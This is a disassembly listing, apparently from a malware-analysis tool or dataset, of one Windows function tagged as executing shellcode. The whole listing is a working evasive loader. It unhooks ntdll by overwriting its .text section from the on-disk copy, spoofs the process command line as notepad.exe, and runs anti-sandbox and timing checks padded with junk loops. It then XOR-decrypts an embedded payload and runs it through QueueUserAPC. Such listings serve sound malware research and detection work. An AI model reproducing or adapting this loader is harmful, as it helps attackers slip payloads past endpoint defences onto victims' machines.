Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x788
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x730], ecx
mov qword [rbp + 0x738], rdx
call fcn.1400027f0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x688], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x680], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x678], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
je 0x140001887
mov dword [rbp + 0x6f0], 1
jmp 0x1400015f7
mov dword [rbp + 0x6f4], 0
mov eax, dword [rbp + 0x6f0]
mov dword [rbp + 0x6ec], eax
jmp 0x1400015cd
mov edx, dword [rbp + 0x6ec]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x638], edx
mov eax, dword [rbp + 0x638]
imul eax, eax
imul eax, dword [rbp + 0x638]
add dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x6ec]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x6ec], eax
cmp dword [rbp + 0x6ec], 0
jne 0x140001562
mov eax, dword [rbp + 0x6f4]
cmp eax, dword [rbp + 0x6f0]
jne 0x1400015f0
mov eax, dword [rbp + 0x6f0]
mov dword [rbp + 0x63c], eax
add dword [rbp + 0x6f0], 1
cmp dword [rbp + 0x6f0], 0x2ac
jle 0x14000154a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x500]
mov rax, qword [rbp + 0x678]
mov r10, qword [rbp + 0x6f8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x670], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
mov qword [rbp + 0x648], rax
mov word [rbp + 0x6ea], 0
jmp 0x14000186f
mov rax, qword [rbp + 0x648]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x648]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x6ea]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000185e
mov dword [rbp + 0x4c8], 0
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x670]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x658]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x670]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4c8]
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x670]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x6ea]
add eax, 1
mov word [rbp + 0x6ea], ax
mov rax, qword [rbp + 0x648]
movzx eax, word [rax + 6]
cmp word [rbp + 0x6ea], ax
jb 0x140001733
mov dword [rbp + 0x4cc], 0
mov rax, qword [rbp + 0x688]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4d0]
lea rax, [rbp + 0x4cc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x630]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x4d8]
add rax, 0x3c
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x628]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x559
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x559
jne 0x14000272c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x620], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4108280
mov ecx, 0
call rax
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
je 0x14000272c
mov rax, qword [rbp + 0x620]
mov edx, 0x4108280
mov rcx, rax
call fcn.1400046c0
mov rax, qword [rbp + 0x620]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x610], rax
cmp qword [rbp + 0x610], 0
je 0x14000272c
mov rax, qword [rbp + 0x610]
mov edx, 0x41e
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x60c], eax
mov qword [rbp + 0x600], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5f8]
mov r9d, 0x3000
mov r8d, 0x28e
mov edx, 0
call rax
mov qword [rbp + 0x600], rax
cmp qword [rbp + 0x600], 0
je 0x14000272c
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x5f0], rax
cmp qword [rbp + 0x5f0], 0
je 0x14000272c
mov rax, qword [rbp + 0x5f0]
mov edx, 0x40b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x5ec], eax
mov ecx, 0x3f7
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x3f7
jne 0x14000272c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x5e8], 0x301
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
call rax
mov dword [rbp + 0x5dc], eax
mov eax, dword [rbp + 0x5e8]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x5e0]
call rax
mov dword [rbp + 0x5d8], eax
mov eax, dword [rbp + 0x5d8]
sub eax, dword [rbp + 0x5dc]
cmp eax, 0x2cf
jbe 0x14000272c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5d0], rax
cmp qword [rbp + 0x5d0], 0
je 0x140001c31
mov rax, qword [rbp + 0x5d0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5c8]
mov ecx, 0
call rax
mov dword [rbp + 0x6e4], eax
cmp dword [rbp + 0x6e4], 0xffffffff
je 0x14000272c
mov qword [rbp + 0x5c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x5b8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x530b280
mov ecx, 0
call rax
mov qword [rbp + 0x5c0], rax
cmp qword [rbp + 0x5c0], 0
je 0x14000272c
mov rax, qword [rbp + 0x5c0]
mov edx, 0x530b280
mov rcx, rax
call fcn.1400046c0
mov rax, qword [rbp + 0x5c0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x517
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x517
jne 0x14000272c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x6e0], 0
jmp 0x140001d9b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff84210843
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x52c], edx
mov ecx, dword [rbp + 0x52c]
mov edx, ecx
shl edx, 5
sub edx, ecx
sub eax, edx
mov dword [rbp + 0x52c], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006580]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x52c]
movq xmm0, rax
call fcn.140003830
movq rax, xmm0
mov qword [rbp + 0x520], rax
add dword [rbp + 0x6e0], 1
cmp dword [rbp + 0x6e0], 0x2c2
jle 0x140001d20
lea rax, [rbp + 0x70]
lea rdx, [0x140006128]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0xcc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
mov dword [rbp + 0x6dc], 0
jmp 0x140001e44
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x6dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
movsd xmm1, qword [0x140006580]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x6dc], 1
cmp dword [rbp + 0x6dc], 0x197
jle 0x140001e06
mov dword [rbp + 0x6dc], 0
jmp 0x140001ee1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x6dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x6dc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5b0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003800
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x6dc], 1
cmp dword [rbp + 0x6dc], 0x197
jle 0x140001e5f
mov ecx, 0xf24
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
mov dword [rbp + 0x6d4], 0
mov dword [rbp + 0x6d0], 0
mov dword [rbp + 0x6d8], 0
jmp 0x140001fc8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x6d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001f97
add dword [rbp + 0x6d4], 1
jmp 0x140001fc1
mov eax, dword [rbp + 0x6d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001fc1
add dword [rbp + 0x6d0], 1
add dword [rbp + 0x6d8], 1
cmp dword [rbp + 0x6d8], 0x3c8
jle 0x140001f25
mov rax, qword [rbp + 0x5a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x680]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x5a0]
mov r8d, 0
mov edx, 0x456
mov ecx, 0x40000
call rax
mov qword [rbp + 0x590], rax
pxor xmm0, xmm0
movss dword [rbp + 0x6c8], xmm0
mov dword [rbp + 0x6cc], 0
jmp 0x1400020da
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x6cc]
movsd xmm0, qword [0x140006588]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006590]
movd xmm0, eax
call fcn.1400037e0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x6cc]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006588]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x6c8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6c8], xmm0
add dword [rbp + 0x6cc], 1
cmp dword [rbp + 0x6cc], 0x118
jle 0x140002061
movss xmm1, dword [rbp + 0x6c8]
movss xmm0, dword [0x140006594]
mulss xmm0, xmm1
movss dword [rbp + 0x6c8], xmm0
mov rax, qword [rbp + 0x590]
mov r9, qword [rbp + 0x598]
mov r8d, 0x456
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x688]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x580], rax
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x588]
mov r9, qword [rbp + 0x580]
mov r8d, 0x456
mov rcx, rax
call r9
mov ecx, 0x434
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x578], rax
mov dword [rbp + 0x6c0], 0
mov dword [rbp + 0x574], 0
mov dword [rbp + 0x6c4], 0
jmp 0x1400021e8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x578]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x6c4], 1
cmp dword [rbp + 0x6c4], 0x10c
jle 0x14000219c
mov dword [rbp + 0x6c4], 0
jmp 0x140002229
mov eax, dword [rbp + 0x6c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x578]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x6c0], eax
add dword [rbp + 0x6c4], 1
cmp dword [rbp + 0x6c4], 0x10c
jle 0x140002200
mov rax, qword [rbp + 0x578]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x6bc], 0
mov dword [rbp + 0x6b8], 0
mov dword [rbp + 0x6b4], 0
movabs rax, 0x4a9ae38213b560b9
movabs rdx, 0x5af404b35078ac4e
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x114f66a0644645f8
movabs rdx, 0x971a2e9bb00d09b2
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xec833747ec7b661b
movabs rdx, 0xaf116bd678aa7554
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x92121f4380573612
movabs rdx, 0x7a642f2d01809d0a
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x564f0bd9da7a642f
movabs rdx, 0x69f12081b804c3
mov qword [rbp + 0x5d], rax
mov qword [rbp + 0x65], rdx
movabs rax, 0xf3667ff4962350b3
movabs rdx, 0x83c702f47ac2a65d
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x6b702dc8d2f0836c
movabs rdx, 0x60c64e827c03bc3
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x8719e310c060c64
movabs rdx, 0x7713271cbe5c2
mov qword [rbp + 0xd], rax
mov qword [rbp + 0x15], rdx
jmp 0x14000238f
mov eax, dword [rbp + 0x6bc]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x6b8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x6bc]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x6b8], 0x4b
jne 0x140002381
mov dword [rbp + 0x6b8], 0
jmp 0x140002388
add dword [rbp + 0x6b8], 1
add dword [rbp + 0x6bc], 1
mov eax, dword [rbp + 0x6bc]
cmp eax, 0x2b
jbe 0x140002344
mov dword [rbp + 0x6bc], 0
jmp 0x14000259d
mov eax, dword [rbp + 0x6bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6b4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x6bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x6b4], 0x2b
jne 0x1400024d9
mov ecx, 0x3d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x540], rax
mov dword [rbp + 0x6ac], 0
mov dword [rbp + 0x53c], 0
mov dword [rbp + 0x6b0], 0
jmp 0x140002471
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6b0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x540]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x6b0], 1
cmp dword [rbp + 0x6b0], 0xf3
jle 0x140002425
mov dword [rbp + 0x6b0], 0
jmp 0x1400024b2
mov eax, dword [rbp + 0x6b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x540]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x6ac], eax
add dword [rbp + 0x6b0], 1
cmp dword [rbp + 0x6b0], 0xf3
jle 0x140002489
mov rax, qword [rbp + 0x540]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x6b4], 0
jmp 0x140002539
mov dword [rbp + 0x6a8], 0
jmp 0x140002526
call sub.msvcrt.dll_rand
imul eax, eax, 0x3d5
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006580]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003900
movq rax, xmm0
mov qword [rbp + 0x548], rax
add dword [rbp + 0x6a8], 1
cmp dword [rbp + 0x6a8], 0xfb
jle 0x1400024e5
add dword [rbp + 0x6b4], 1
movsd xmm0, qword [0x140006598]
movsd qword [rbp + 0x6a0], xmm0
movsd xmm0, qword [0x1400065a0]
movsd qword [rbp + 0x530], xmm0
jmp 0x140002584
movsd xmm0, qword [rbp + 0x530]
mov rax, qword [rbp + 0x6a0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ad0
movq rax, xmm0
mov qword [rbp + 0x6a0], rax
movsd xmm0, qword [0x1400065a8]
comisd xmm0, xmmword [rbp + 0x6a0]
ja 0x14000255b
add dword [rbp + 0x6bc], 1
cmp dword [rbp + 0x6bc], 0x455
jle 0x1400023a9
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x680]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x680]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x558], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x568]
mov r9, qword [rbp + 0x560]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0x5d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x698], 0
mov dword [rbp + 0x694], 0
mov dword [rbp + 0x69c], 0
jmp 0x1400026fa
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x69c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x550]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x69c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400026c9
add dword [rbp + 0x698], 1
jmp 0x1400026f3
mov eax, dword [rbp + 0x69c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400026f3
add dword [rbp + 0x694], 1
add dword [rbp + 0x69c], 1
cmp dword [rbp + 0x69c], 0x175
jle 0x140002657
mov rax, qword [rbp + 0x550]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x558]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x788
pop rbx
pop rsi
pop rdi
pop rbp
ret